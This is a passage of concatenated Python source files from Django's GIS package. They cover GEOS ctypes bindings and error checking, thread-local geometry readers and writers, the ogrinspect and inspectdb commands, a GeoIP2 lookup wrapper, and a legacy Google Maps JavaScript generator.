    def srid(self, include):
        if include:
            flag = b'\x01'
        else:
            flag = b'\x00'
        wkb_writer_set_include_srid(self.ptr, flag)


# `ThreadLocalIO` object holds instances of the WKT and WKB reader/writer
# objects that are local to the thread.  The `GEOSGeometry` internals
# access these instances by calling the module-level functions, defined
# below.
class ThreadLocalIO(threading.local):
    wkt_r = None
    wkt_w = None
    wkb_r = None
    wkb_w = None
    ewkb_w = None

thread_context = ThreadLocalIO()


# These module-level routines return the I/O object that is local to the
# thread. If the I/O object does not exist yet it will be initialized.
def wkt_r():
    if not thread_context.wkt_r:
        thread_context.wkt_r = _WKTReader()
    return thread_context.wkt_r


def wkt_w(dim=2, trim=False, precision=None):
    if not thread_context.wkt_w:
        thread_context.wkt_w = WKTWriter(dim=dim, trim=trim, precision=precision)
    else:
        thread_context.wkt_w.outdim = dim
        thread_context.wkt_w.trim = trim
        thread_context.wkt_w.precision = precision
    return thread_context.wkt_w


def wkb_r():
    if not thread_context.wkb_r:
        thread_context.wkb_r = _WKBReader()
    return thread_context.wkb_r


def wkb_w(dim=2):
    if not thread_context.wkb_w:
        thread_context.wkb_w = WKBWriter(dim=dim)
    else:
        thread_context.wkb_w.outdim = dim
    return thread_context.wkb_w


def ewkb_w(dim=2):
    if not thread_context.ewkb_w:
        thread_context.ewkb_w = WKBWriter(dim=dim)
        thread_context.ewkb_w.srid = True
    else:
        thread_context.ewkb_w.outdim = dim
    return thread_context.ewkb_w






"""
 This module is for the miscellaneous GEOS routines, particularly the
 ones that return the area, distance, and length.
"""
from ctypes import POINTER, c_double, c_int

from django.contrib.gis.geos.libgeos import GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import check_dbl, check_string
from django.contrib.gis.geos.prototypes.geom import geos_char_p
from django.utils.six.moves import range

__all__ = ['geos_area', 'geos_distance', 'geos_length', 'geos_isvalidreason']


class DblFromGeom(GEOSFuncFactory):
    """
    Argument is a Geometry, return type is double that is passed
    in by reference as the last argument.
    """
    restype = c_int  # Status code returned
    errcheck = staticmethod(check_dbl)

    def get_func(self, num_geom=1):
        argtypes = [GEOM_PTR for i in range(num_geom)]
        argtypes += [POINTER(c_double)]
        self.argtypes = argtypes
        return super(DblFromGeom, self).get_func()


# ### ctypes prototypes ###

# Area, distance, and length prototypes.
geos_area = DblFromGeom('GEOSArea')
geos_distance = DblFromGeom('GEOSDistance', num_geom=2)
geos_length = DblFromGeom('GEOSLength')
geos_isvalidreason = GEOSFuncFactory(
    'GEOSisValidReason', restype=geos_char_p, errcheck=check_string, argtypes=[GEOM_PTR]
)






"""
 Error checking functions for GEOS ctypes prototype functions.
"""
from ctypes import c_void_p, string_at

from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.libgeos import GEOSFuncFactory

# Getting the `free` routine used to free the memory allocated for
# string pointers returned by GEOS.
free = GEOSFuncFactory('GEOSFree')
free.argtypes = [c_void_p]


def last_arg_byref(args):
    "Returns the last C argument's value by reference."
    return args[-1]._obj.value


def check_dbl(result, func, cargs):
    "Checks the status code and returns the double value passed in by reference."
    # Checking the status code
    if result != 1:
        return None
    # Double passed in by reference, return its value.
    return last_arg_byref(cargs)


def check_geom(result, func, cargs):
    "Error checking on routines that return Geometries."
    if not result:
        raise GEOSException('Error encountered checking Geometry returned from GEOS C function "%s".' % func.__name__)
    return result


def check_minus_one(result, func, cargs):
    "Error checking on routines that should not return -1."
    if result == -1:
        raise GEOSException('Error encountered in GEOS C function "%s".' % func.__name__)
    else:
        return result


def check_predicate(result, func, cargs):
    "Error checking for unary/binary predicate functions."
    val = ord(result)  # getting the ordinal from the character
    if val == 1:
        return True
    elif val == 0:
        return False
    else:
        raise GEOSException('Error encountered on GEOS C predicate function "%s".' % func.__name__)


def check_sized_string(result, func, cargs):
    """
    Error checking for routines that return explicitly sized strings.

    This frees the memory allocated by GEOS at the result pointer.
    """
    if not result:
        raise GEOSException('Invalid string pointer returned by GEOS C function "%s"' % func.__name__)
    # A c_size_t object is passed in by reference for the second
    # argument on these routines, and its needed to determine the
    # correct size.
    s = string_at(result, last_arg_byref(cargs))
    # Freeing the memory allocated within GEOS
    free(result)
    return s


def check_string(result, func, cargs):
    """
    Error checking for routines that return strings.

    This frees the memory allocated by GEOS at the result pointer.
    """
    if not result:
        raise GEOSException('Error encountered checking string return value in GEOS C function "%s".' % func.__name__)
    # Getting the string value at the pointer address.
    s = string_at(result)
    # Freeing the memory allocated within GEOS
    free(result)
    return s


def check_zero(result, func, cargs):
    "Error checking on routines that should not return 0."
    if result == 0:
        raise GEOSException('Error encountered in GEOS C function "%s".' % func.__name__)
    else:
        return result






"""
 This module houses the GEOS ctypes prototype functions for the
 topological operations on geometries.
"""
from ctypes import c_double, c_int

from django.contrib.gis.geos.libgeos import GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import (
    check_geom, check_minus_one, check_string,
)
from django.contrib.gis.geos.prototypes.geom import geos_char_p


class Topology(GEOSFuncFactory):
    "For GEOS unary topology functions."
    argtypes = [GEOM_PTR]
    restype = GEOM_PTR
    errcheck = staticmethod(check_geom)


# Topology Routines
geos_boundary = Topology('GEOSBoundary')
geos_buffer = Topology('GEOSBuffer', argtypes=[GEOM_PTR, c_double, c_int])
geos_centroid = Topology('GEOSGetCentroid')
geos_convexhull = Topology('GEOSConvexHull')
geos_difference = Topology('GEOSDifference', argtypes=[GEOM_PTR, GEOM_PTR])
geos_envelope = Topology('GEOSEnvelope')
geos_intersection = Topology('GEOSIntersection', argtypes=[GEOM_PTR, GEOM_PTR])
geos_linemerge = Topology('GEOSLineMerge')
geos_pointonsurface = Topology('GEOSPointOnSurface')
geos_preservesimplify = Topology('GEOSTopologyPreserveSimplify', argtypes=[GEOM_PTR, c_double])
geos_simplify = Topology('GEOSSimplify', argtypes=[GEOM_PTR, c_double])
geos_symdifference = Topology('GEOSSymDifference', argtypes=[GEOM_PTR, GEOM_PTR])
geos_union = Topology('GEOSUnion', argtypes=[GEOM_PTR, GEOM_PTR])

geos_cascaded_union = GEOSFuncFactory('GEOSUnionCascaded', argtypes=[GEOM_PTR], restype=GEOM_PTR)
geos_unary_union = GEOSFuncFactory('GEOSUnaryUnion', argtypes=[GEOM_PTR], restype=GEOM_PTR)

# GEOSRelate returns a string, not a geometry.
geos_relate = GEOSFuncFactory(
    'GEOSRelate', argtypes=[GEOM_PTR, GEOM_PTR], restype=geos_char_p, errcheck=check_string
)

# Linear referencing routines
geos_project = GEOSFuncFactory(
    'GEOSProject', argtypes=[GEOM_PTR, GEOM_PTR], restype=c_double, errcheck=check_minus_one
)
geos_interpolate = Topology('GEOSInterpolate', argtypes=[GEOM_PTR, c_double])

geos_project_normalized = GEOSFuncFactory(
    'GEOSProjectNormalized', argtypes=[GEOM_PTR, GEOM_PTR], restype=c_double, errcheck=check_minus_one
)
geos_interpolate_normalized = Topology('GEOSInterpolateNormalized', argtypes=[GEOM_PTR, c_double])






"""
 This module contains all of the GEOS ctypes function prototypes. Each
 prototype handles the interaction between the GEOS library and Python
 via ctypes.
"""

from django.contrib.gis.geos.prototypes.coordseq import (  # NOQA
    create_cs, cs_clone, cs_getdims, cs_getordinate, cs_getsize, cs_getx,
    cs_gety, cs_getz, cs_setordinate, cs_setx, cs_sety, cs_setz, get_cs,
)
from django.contrib.gis.geos.prototypes.geom import (  # NOQA
    create_collection, create_empty_polygon, create_linearring,
    create_linestring, create_point, create_polygon, destroy_geom, from_hex,
    from_wkb, from_wkt, geom_clone, geos_get_srid, geos_normalize,
    geos_set_srid, geos_type, geos_typeid, get_dims, get_extring, get_geomn,
    get_intring, get_nrings, get_num_coords, get_num_geoms, to_hex, to_wkb,
    to_wkt,
)
from django.contrib.gis.geos.prototypes.misc import *  # NOQA
from django.contrib.gis.geos.prototypes.predicates import (  # NOQA
    geos_contains, geos_covers, geos_crosses, geos_disjoint, geos_equals,
    geos_equalsexact, geos_hasz, geos_intersects, geos_isclosed, geos_isempty,
    geos_isring, geos_issimple, geos_isvalid, geos_overlaps,
    geos_relatepattern, geos_touches, geos_within,
)
from django.contrib.gis.geos.prototypes.topology import *  # NOQA






from ctypes import POINTER, c_char_p, c_int, c_size_t, c_ubyte

from django.contrib.gis.geos.libgeos import CS_PTR, GEOM_PTR, GEOSFuncFactory
from django.contrib.gis.geos.prototypes.errcheck import (
    check_geom, check_minus_one, check_sized_string, check_string, check_zero,
)

# This is the return type used by binary output (WKB, HEX) routines.
c_uchar_p = POINTER(c_ubyte)


# We create a simple subclass of c_char_p here because when the response
# type is set to c_char_p, you get a _Python_ string and there's no way
# to access the string's address inside the error checking function.
# In other words, you can't free the memory allocated inside GEOS.  Previously,
# the return type would just be omitted and the integer address would be
# used -- but this allows us to be specific in the function definition and
# keeps the reference so it may be free'd.
class geos_char_p(c_char_p):
    pass


# ### ctypes factory classes ###
class BinConstructor(GEOSFuncFactory):
    "Generates a prototype for binary construction (HEX, WKB) GEOS routines."
    argtypes = [c_char_p, c_size_t]
    restype = GEOM_PTR
    errcheck = staticmethod(check_geom)


# HEX & WKB output
class BinOutput(GEOSFuncFactory):
    "Generates a prototype for the routines that return a sized string."
    argtypes = [GEOM_PTR, POINTER(c_size_t)]
    restype = c_uchar_p
    errcheck = staticmethod(check_sized_string)


class GeomOutput(GEOSFuncFactory):
    "For GEOS routines that return a geometry."
    restype = GEOM_PTR
    errcheck = staticmethod(check_geom)

    def get_func(self, argtypes):
        self.argtypes = argtypes
        return super(GeomOutput, self).get_func()


class IntFromGeom(GEOSFuncFactory):
    "Argument is a geometry, return type is an integer."
    argtypes = [GEOM_PTR]
    restype = c_int

    def get_func(self, zero=False):
        if zero:
            self.errcheck = check_zero
        else:
            self.errcheck = check_minus_one
        return super(IntFromGeom, self).get_func()


class StringFromGeom(GEOSFuncFactory):
    "Argument is a Geometry, return type is a string."
    argtypes = [GEOM_PTR]
    restype = geos_char_p
    errcheck = staticmethod(check_string)


# ### ctypes prototypes ###

# Deprecated creation routines from WKB, HEX, WKT
from_hex = BinConstructor('GEOSGeomFromHEX_buf')
from_wkb = BinConstructor('GEOSGeomFromWKB_buf')
from_wkt = GeomOutput('GEOSGeomFromWKT', [c_char_p])

# Deprecated output routines
to_hex = BinOutput('GEOSGeomToHEX_buf')
to_wkb = BinOutput('GEOSGeomToWKB_buf')
to_wkt = StringFromGeom('GEOSGeomToWKT')

# The GEOS geometry type, typeid, num_coordinates and number of geometries
geos_normalize = IntFromGeom('GEOSNormalize')
geos_type = StringFromGeom('GEOSGeomType')
geos_typeid = IntFromGeom('GEOSGeomTypeId')
get_dims = GEOSFuncFactory('GEOSGeom_getDimensions', argtypes=[GEOM_PTR], restype=c_int)
get_num_coords = IntFromGeom('GEOSGetNumCoordinates')
get_num_geoms = IntFromGeom('GEOSGetNumGeometries')

# Geometry creation factories
create_point = GeomOutput('GEOSGeom_createPoint', [CS_PTR])
create_linestring = GeomOutput('GEOSGeom_createLineString', [CS_PTR])
create_linearring = GeomOutput('GEOSGeom_createLinearRing', [CS_PTR])

# Polygon and collection creation routines are special and will not
# have their argument types defined.
create_polygon = GeomOutput('GEOSGeom_createPolygon', None)
create_empty_polygon = GeomOutput('GEOSGeom_createEmptyPolygon', None)
create_collection = GeomOutput('GEOSGeom_createCollection', None)

# Ring routines
get_extring = GeomOutput('GEOSGetExteriorRing', [GEOM_PTR])
get_intring = GeomOutput('GEOSGetInteriorRingN', [GEOM_PTR, c_int])
get_nrings = IntFromGeom('GEOSGetNumInteriorRings')

# Collection Routines
get_geomn = GeomOutput('GEOSGetGeometryN', [GEOM_PTR, c_int])

# Cloning
geom_clone = GEOSFuncFactory('GEOSGeom_clone', argtypes=[GEOM_PTR], restype=GEOM_PTR)

# Destruction routine.
destroy_geom = GEOSFuncFactory('GEOSGeom_destroy', argtypes=[GEOM_PTR])

# SRID routines
geos_get_srid = GEOSFuncFactory('GEOSGetSRID', argtypes=[GEOM_PTR], restype=c_int)
geos_set_srid = GEOSFuncFactory('GEOSSetSRID', argtypes=[GEOM_PTR, c_int])












from django.core.management.commands.inspectdb import \
    Command as InspectDBCommand


class Command(InspectDBCommand):
    db_module = 'django.contrib.gis.db'

    def get_field_type(self, connection, table_name, row):
        field_type, field_params, field_notes = super(Command, self).get_field_type(connection, table_name, row)
        if field_type == 'GeometryField':
            geo_col = row[0]
            # Getting a more specific field type and any additional parameters
            # from the `get_geometry_type` routine for the spatial backend.
            field_type, geo_params = connection.introspection.get_geometry_type(table_name, geo_col)
            field_params.update(geo_params)
        return field_type, field_params, field_notes












import argparse

from django.contrib.gis import gdal
from django.core.management.base import BaseCommand, CommandError
from django.utils.inspect import get_func_args


class LayerOptionAction(argparse.Action):
    """
    Custom argparse action for the `ogrinspect` `layer_key` keyword option
    which may be an integer or a string.
    """
    def __call__(self, parser, namespace, value, option_string=None):
        try:
            setattr(namespace, self.dest, int(value))
        except ValueError:
            setattr(namespace, self.dest, value)


class ListOptionAction(argparse.Action):
    """
    Custom argparse action for `ogrinspect` keywords that require
    a string list. If the string is 'True'/'true' then the option
    value will be a boolean instead.
    """
    def __call__(self, parser, namespace, value, option_string=None):
        if value.lower() == 'true':
            setattr(namespace, self.dest, True)
        else:
            setattr(namespace, self.dest, value.split(','))


class Command(BaseCommand):
    help = (
        'Inspects the given OGR-compatible data source (e.g., a shapefile) and outputs\n'
        'a GeoDjango model with the given model name. For example:\n'
        ' ./manage.py ogrinspect zipcode.shp Zipcode'
    )

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument('data_source', help='Path to the data source.')
        parser.add_argument('model_name', help='Name of the model to create.')
        parser.add_argument(
            '--blank', dest='blank',
            action=ListOptionAction, default=False,
            help='Use a comma separated list of OGR field names to add '
                 'the `blank=True` option to the field definition. Set to `true` '
                 'to apply to all applicable fields.',
        )
        parser.add_argument(
            '--decimal', dest='decimal',
            action=ListOptionAction, default=False,
            help='Use a comma separated list of OGR float fields to '
                 'generate `DecimalField` instead of the default '
                 '`FloatField`. Set to `true` to apply to all OGR float fields.',
        )
        parser.add_argument(
            '--geom-name', dest='geom_name', default='geom',
            help='Specifies the model name for the Geometry Field (defaults to `geom`)'
        )
        parser.add_argument(
            '--layer', dest='layer_key',
            action=LayerOptionAction, default=0,
            help='The key for specifying which layer in the OGR data '
                 'source to use. Defaults to 0 (the first layer). May be '
                 'an integer or a string identifier for the layer.',
        )
        parser.add_argument(
            '--multi-geom', action='store_true',
            dest='multi_geom', default=False,
            help='Treat the geometry in the data source as a geometry collection.',
        )
        parser.add_argument(
            '--name-field', dest='name_field',
            help='Specifies a field name to return for the `__unicode__`/`__str__` function.',
        )
        parser.add_argument(
            '--no-imports', action='store_false', dest='imports', default=True,
            help='Do not include `from django.contrib.gis.db import models` statement.',
        )
        parser.add_argument(
            '--null', dest='null', action=ListOptionAction, default=False,
            help='Use a comma separated list of OGR field names to add '
                 'the `null=True` option to the field definition. Set to `true` '
                 'to apply to all applicable fields.',
        )
        parser.add_argument(
            '--srid', dest='srid',
            help='The SRID to use for the Geometry Field. If it can be '
                 'determined, the SRID of the data source is used.',
        )
        parser.add_argument(
            '--mapping', action='store_true', dest='mapping',
            help='Generate mapping dictionary for use with `LayerMapping`.',
        )

    def handle(self, *args, **options):
        data_source, model_name = options.pop('data_source'), options.pop('model_name')

        # Getting the OGR DataSource from the string parameter.
        try:
            ds = gdal.DataSource(data_source)
        except gdal.GDALException as msg:
            raise CommandError(msg)

        # Returning the output of ogrinspect with the given arguments
        # and options.
        from django.contrib.gis.utils.ogrinspect import _ogrinspect, mapping
        # Filter options to params accepted by `_ogrinspect`
        ogr_options = {k: v for k, v in options.items()
                       if k in get_func_args(_ogrinspect) and v is not None}
        output = [s for s in _ogrinspect(ds, model_name, **ogr_options)]

        if options['mapping']:
            # Constructing the keyword arguments for `mapping`, and
            # calling it on the data source.
            kwargs = {
                'geom_name': options['geom_name'],
                'layer_key': options['layer_key'],
                'multi_geom': options['multi_geom'],
            }
            mapping_dict = mapping(ds, **kwargs)
            # This extra legwork is so that the dictionary definition comes
            # out in the same order as the fields in the model definition.
            rev_mapping = {v: k for k, v in mapping_dict.items()}
            output.extend(['', '# Auto-generated `LayerMapping` dictionary for %s model' % model_name,
                           '%s_mapping = {' % model_name.lower()])
            output.extend("    '%s' : '%s'," % (
                rev_mapping[ogr_fld], ogr_fld) for ogr_fld in ds[options['layer_key']].fields
            )
            output.extend(["    '%s' : '%s'," % (options['geom_name'], mapping_dict[options['geom_name']]), '}'])
        return '\n'.join(output) + '\n'






import os
import socket

import geoip2.database

from django.conf import settings
from django.core.validators import ipv4_re
from django.utils import six
from django.utils.ipv6 import is_valid_ipv6_address

from .resources import City, Country

# Creating the settings dictionary with any settings, if needed.
GEOIP_SETTINGS = {
    'GEOIP_PATH': getattr(settings, 'GEOIP_PATH', None),
    'GEOIP_CITY': getattr(settings, 'GEOIP_CITY', 'GeoLite2-City.mmdb'),
    'GEOIP_COUNTRY': getattr(settings, 'GEOIP_COUNTRY', 'GeoLite2-Country.mmdb'),
}


class GeoIP2Exception(Exception):
    pass


class GeoIP2(object):
    # The flags for GeoIP memory caching.
    # Try MODE_MMAP_EXT, MODE_MMAP, MODE_FILE in that order.
    MODE_AUTO = 0
    # Use the C extension with memory map.
    MODE_MMAP_EXT = 1
    # Read from memory map. Pure Python.
    MODE_MMAP = 2
    # Read database as standard file. Pure Python.
    MODE_FILE = 4
    # Load database into memory. Pure Python.
    MODE_MEMORY = 8
    cache_options = {opt: None for opt in (0, 1, 2, 4, 8)}

    # Paths to the city & country binary databases.
    _city_file = ''
    _country_file = ''

    # Initially, pointers to GeoIP file references are NULL.
    _city = None
    _country = None

    def __init__(self, path=None, cache=0, country=None, city=None):
        """
        Initialize the GeoIP object. No parameters are required to use default
        settings. Keyword arguments may be passed in to customize the locations
        of the GeoIP datasets.

        * path: Base directory to where GeoIP data is located or the full path
            to where the city or country data files (*.mmdb) are located.
            Assumes that both the city and country data sets are located in
            this directory; overrides the GEOIP_PATH setting.

        * cache: The cache settings when opening up the GeoIP datasets. May be
            an integer in (0, 1, 2, 4, 8) corresponding to the MODE_AUTO,
            MODE_MMAP_EXT, MODE_MMAP, MODE_FILE, and MODE_MEMORY,
            `GeoIPOptions` C API settings,  respectively. Defaults to 0,
            meaning MODE_AUTO.

        * country: The name of the GeoIP country data file. Defaults to
            'GeoLite2-Country.mmdb'; overrides the GEOIP_COUNTRY setting.

        * city: The name of the GeoIP city data file. Defaults to
            'GeoLite2-City.mmdb'; overrides the GEOIP_CITY setting.
        """
        # Checking the given cache option.
        if cache in self.cache_options:
            self._cache = cache
        else:
            raise GeoIP2Exception('Invalid GeoIP caching option: %s' % cache)

        # Getting the GeoIP data path.
        if not path:
            path = GEOIP_SETTINGS['GEOIP_PATH']
            if not path:
                raise GeoIP2Exception('GeoIP path must be provided via parameter or the GEOIP_PATH setting.')
        if not isinstance(path, six.string_types):
            raise TypeError('Invalid path type: %s' % type(path).__name__)

        if os.path.isdir(path):
            # Constructing the GeoIP database filenames using the settings
            # dictionary. If the database files for the GeoLite country
            # and/or city datasets exist, then try to open them.
            country_db = os.path.join(path, country or GEOIP_SETTINGS['GEOIP_COUNTRY'])
            if os.path.isfile(country_db):
                self._country = geoip2.database.Reader(country_db, mode=cache)
                self._country_file = country_db

            city_db = os.path.join(path, city or GEOIP_SETTINGS['GEOIP_CITY'])
            if os.path.isfile(city_db):
                self._city = geoip2.database.Reader(city_db, mode=cache)
                self._city_file = city_db
        elif os.path.isfile(path):
            # Otherwise, some detective work will be needed to figure out
            # whether the given database path is for the GeoIP country or city
            # databases.
            reader = geoip2.database.Reader(path, mode=cache)
            db_type = reader.metadata().database_type

            if db_type.endswith('City'):
                # GeoLite City database detected.
                self._city = reader
                self._city_file = path
            elif db_type.endswith('Country'):
                # GeoIP Country database detected.
                self._country = reader
                self._country_file = path
            else:
                raise GeoIP2Exception('Unable to recognize database edition: %s' % db_type)
        else:
            raise GeoIP2Exception('GeoIP path must be a valid file or directory.')

    @property
    def _reader(self):
        if self._country:
            return self._country
        else:
            return self._city

    @property
    def _country_or_city(self):
        if self._country:
            return self._country.country
        else:
            return self._city.city

    def __del__(self):
        # Cleanup any GeoIP file handles lying around.
        if self._reader:
            self._reader.close()

    def __repr__(self):
        meta = self._reader.metadata()
        version = '[v%s.%s]' % (meta.binary_format_major_version, meta.binary_format_minor_version)
        return '<%(cls)s %(version)s _country_file="%(country)s", _city_file="%(city)s">' % {
            'cls': self.__class__.__name__,
            'version': version,
            'country': self._country_file,
            'city': self._city_file,
        }

    def _check_query(self, query, country=False, city=False, city_or_country=False):
        "Helper routine for checking the query and database availability."
        # Making sure a string was passed in for the query.
        if not isinstance(query, six.string_types):
            raise TypeError('GeoIP query must be a string, not type %s' % type(query).__name__)

        # Extra checks for the existence of country and city databases.
        if city_or_country and not (self._country or self._city):
            raise GeoIP2Exception('Invalid GeoIP country and city data files.')
        elif country and not self._country:
            raise GeoIP2Exception('Invalid GeoIP country data file: %s' % self._country_file)
        elif city and not self._city:
            raise GeoIP2Exception('Invalid GeoIP city data file: %s' % self._city_file)

        # Return the query string back to the caller. GeoIP2 only takes IP addresses.
        if not (ipv4_re.match(query) or is_valid_ipv6_address(query)):
            query = socket.gethostbyname(query)

        return query

    def city(self, query):
        """
        Return a dictionary of city information for the given IP address or
        Fully Qualified Domain Name (FQDN). Some information in the dictionary
        may be undefined (None).
        """
        enc_query = self._check_query(query, city=True)
        return City(self._city.city(enc_query))

    def country_code(self, query):
        "Return the country code for the given IP Address or FQDN."
        enc_query = self._check_query(query, city_or_country=True)
        return self.country(enc_query)['country_code']

    def country_name(self, query):
        "Return the country name for the given IP Address or FQDN."
        enc_query = self._check_query(query, city_or_country=True)
        return self.country(enc_query)['country_name']

    def country(self, query):
        """
        Return a dictionary with the country code and name when given an
        IP address or a Fully Qualified Domain Name (FQDN). For example, both
        '24.124.1.80' and 'djangoproject.com' are valid parameters.
        """
        # Returning the country code and name
        enc_query = self._check_query(query, city_or_country=True)
        return Country(self._country_or_city(enc_query))

    # #### Coordinate retrieval routines ####
    def coords(self, query, ordering=('longitude', 'latitude')):
        cdict = self.city(query)
        if cdict is None:
            return None
        else:
            return tuple(cdict[o] for o in ordering)

    def lon_lat(self, query):
        "Return a tuple of the (longitude, latitude) for the given query."
        return self.coords(query)

    def lat_lon(self, query):
        "Return a tuple of the (latitude, longitude) for the given query."
        return self.coords(query, ('latitude', 'longitude'))

    def geos(self, query):
        "Return a GEOS Point object for the given query."
        ll = self.lon_lat(query)
        if ll:
            from django.contrib.gis.geos import Point
            return Point(ll, srid=4326)
        else:
            return None

    # #### GeoIP Database Information Routines ####
    @property
    def info(self):
        "Return information about the GeoIP library and databases in use."
        meta = self._reader.metadata()
        return 'GeoIP Library:\n\t%s.%s\n' % (meta.binary_format_major_version, meta.binary_format_minor_version)

    @classmethod
    def open(cls, full_path, cache):
        return GeoIP2(full_path, cache)






def City(response):
    return {
        'city': response.city.name,
        'country_code': response.country.iso_code,
        'country_name': response.country.name,
        'dma_code': response.location.metro_code,
        'latitude': response.location.latitude,
        'longitude': response.location.longitude,
        'postal_code': response.postal.code,
        'region': response.subdivisions[0].iso_code if len(response.subdivisions) else None,
    }


def Country(response):
    return {
        'country_code': response.country.iso_code,
        'country_name': response.country.name,
    }






"""
This module houses the GeoIP2 object, a wrapper for the MaxMind GeoIP2(R)
Python API (https://geoip2.readthedocs.io/). This is an alternative to the
Python GeoIP2 interface provided by MaxMind.

GeoIP(R) is a registered trademark of MaxMind, Inc.

For IP-based geolocation, this module requires the GeoLite2 Country and City
datasets, in binary format (CSV will not work!). The datasets may be
downloaded from MaxMind at http://dev.maxmind.com/geoip/geoip2/geolite2/.
Grab GeoLite2-Country.mmdb.gz and GeoLite2-City.mmdb.gz, and unzip them in the
directory corresponding to settings.GEOIP_PATH.
"""
__all__ = ['HAS_GEOIP2']

try:
    from .base import GeoIP2, GeoIP2Exception
    HAS_GEOIP2 = True
    __all__ += ['GeoIP2', 'GeoIP2Exception']
except ImportError:
    HAS_GEOIP2 = False


















from __future__ import unicode_literals

from django.conf import settings
from django.contrib.gis.maps.google.overlays import (
    GMarker, GPolygon, GPolyline,
)
from django.template.loader import render_to_string
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from django.utils.six.moves import range


class GoogleMapException(Exception):
    pass


# The default Google Maps URL (for the API javascript)
# TODO: Internationalize for Japan, UK, etc.
GOOGLE_MAPS_URL = 'http://maps.google.com/maps?file=api&v=%s&key='


class GoogleMap(object):
    "A class for generating Google Maps JavaScript."

    # String constants
    onunload = mark_safe('onunload="GUnload()"')  # Cleans up after Google Maps
    vml_css = mark_safe('v\:* {behavior:url(#default#VML);}')  # CSS for IE VML
    xmlns = mark_safe('xmlns:v="urn:schemas-microsoft-com:vml"')  # XML Namespace (for IE VML).

    def __init__(self, key=None, api_url=None, version=None,
                 center=None, zoom=None, dom_id='map',
                 kml_urls=[], polylines=None, polygons=None, markers=None,
                 template='gis/google/google-map.js',
                 js_module='geodjango',
                 extra_context={}):

        # The Google Maps API Key defined in the settings will be used
        # if not passed in as a parameter.  The use of an API key is
        # _required_.
        if not key:
            try:
                self.key = settings.GOOGLE_MAPS_API_KEY
            except AttributeError:
                raise GoogleMapException(
                    'Google Maps API Key not found (try adding '
                    'GOOGLE_MAPS_API_KEY to your settings).'
                )
        else:
            self.key = key

        # Getting the Google Maps API version, defaults to using the latest ("2.x"),
        # this is not necessarily the most stable.
        if not version:
            self.version = getattr(settings, 'GOOGLE_MAPS_API_VERSION', '2.x')
        else:
            self.version = version

        # Can specify the API URL in the `api_url` keyword.
        if not api_url:
            self.api_url = getattr(settings, 'GOOGLE_MAPS_URL', GOOGLE_MAPS_URL) % self.version
        else:
            self.api_url = api_url

        # Setting the DOM id of the map, the load function, the JavaScript
        # template, and the KML URLs array.
        self.dom_id = dom_id
        self.extra_context = extra_context
        self.js_module = js_module
        self.template = template
        self.kml_urls = kml_urls

        # Does the user want any GMarker, GPolygon, and/or GPolyline overlays?
        overlay_info = [[GMarker, markers, 'markers'],
                        [GPolygon, polygons, 'polygons'],
                        [GPolyline, polylines, 'polylines']]

        for overlay_class, overlay_list, varname in overlay_info:
            setattr(self, varname, [])
            if overlay_list:
                for overlay in overlay_list:
                    if isinstance(overlay, overlay_class):
                        getattr(self, varname).append(overlay)
                    else:
                        getattr(self, varname).append(overlay_class(overlay))

        # If GMarker, GPolygons, and/or GPolylines are used the zoom will be
        # automatically calculated via the Google Maps API.  If both a zoom
        # level and a center coordinate are provided with polygons/polylines,
        # no automatic determination will occur.
        self.calc_zoom = False
        if self.polygons or self.polylines or self.markers:
            if center is None or zoom is None:
                self.calc_zoom = True

        # Defaults for the zoom level and center coordinates if the zoom
        # is not automatically calculated.
        if zoom is None:
            zoom = 4
        self.zoom = zoom
        if center is None:
            center = (0, 0)
        self.center = center

    def render(self):
        """
        Generates the JavaScript necessary for displaying this Google Map.
        """
        params = {'calc_zoom': self.calc_zoom,
                  'center': self.center,
                  'dom_id': self.dom_id,
                  'js_module': self.js_module,
                  'kml_urls': self.kml_urls,
                  'zoom': self.zoom,
                  'polygons': self.polygons,
                  'polylines': self.polylines,
                  'icons': self.icons,
                  'markers': self.markers,
                  }
        params.update(self.extra_context)
        return render_to_string(self.template, params)

    @property
    def body(self):
        "Returns HTML body tag for loading and unloading Google Maps javascript."
        return format_html('<body {} {}>', self.onload, self.onunload)

    @property
    def onload(self):
        "Returns the `onload` HTML <body> attribute."
        return format_html('onload="{}.{}_load()"', self.js_module, self.dom_id)

    @property
    def api_script(self):
        "Returns the <script> tag for the Google Maps API javascript."
        return format_html('<script src="{}{}" type="text/javascript"></script>',
                           self.api_url, self.key)

    @property
    def js(self):
        "Returns only the generated Google Maps JavaScript (no <script> tags)."
        return self.render()

    @property
    def scripts(self):
        "Returns all <script></script> tags required with Google Maps JavaScript."
        return format_html('{}\n  <script type="text/javascript">\n//<![CDATA[\n{}//]]>\n  </script>',
                           self.api_script, mark_safe(self.js))

    @property
    def style(self):
        "Returns additional CSS styling needed for Google Maps on IE."
        return format_html('<style type="text/css">{}</style>', self.vml_css)

    @property
    def xhtml(self):
        "Returns XHTML information needed for IE VML overlays."
        return format_html('<html xmlns="http://www.w3.org/1999/xhtml" {}>', self.xmlns)

    @property
    def icons(self):
        "Returns a sequence of GIcon objects in this map."
        return set(marker.icon for marker in self.markers if marker.icon)


class GoogleMapSet(GoogleMap):

    def __init__(self, *args, **kwargs):
        """
        A class for generating sets of Google Maps that will be shown on the
        same page together.

        Example:
         gmapset = GoogleMapSet( GoogleMap( ... ), GoogleMap( ... ) )
         gmapset = GoogleMapSet( [ gmap1, gmap2] )
        """
        # The `google-multi.js` template is used instead of `google-single.js`
        # by default.
        template = kwargs.pop('template', 'gis/google/google-multi.js')

        # This is the template used to generate the GMap load JavaScript for
        # each map in the set.
        self.map_template = kwargs.pop('map_template', 'gis/google/google-single.js')

        # Running GoogleMap.__init__(), and resetting the template
        # value with default obtained above.
        super(GoogleMapSet, self).__init__(**kwargs)
        self.template = template

        # If a tuple/list passed in as first element of args, then assume
        if isinstance(args[0], (tuple, list)):
            self.maps = args[0]
        else:
            self.maps = args

        # Generating DOM ids for each of the maps in the set.
        self.dom_ids = ['map%d' % i for i in range(len(self.maps))]

    def load_map_js(self):
        """
        Returns JavaScript containing all of the loading routines for each
        map in this set.
        """
        result = []
        for dom_id, gmap in zip(self.dom_ids, self.maps):
            # Backup copies the GoogleMap DOM id and template attributes.
            # They are overridden on each GoogleMap instance in the set so
            # that only the loading JavaScript (and not the header variables)
            # is used with the generated DOM ids.
            tmp = (gmap.template, gmap.dom_id)
            gmap.template = self.map_template
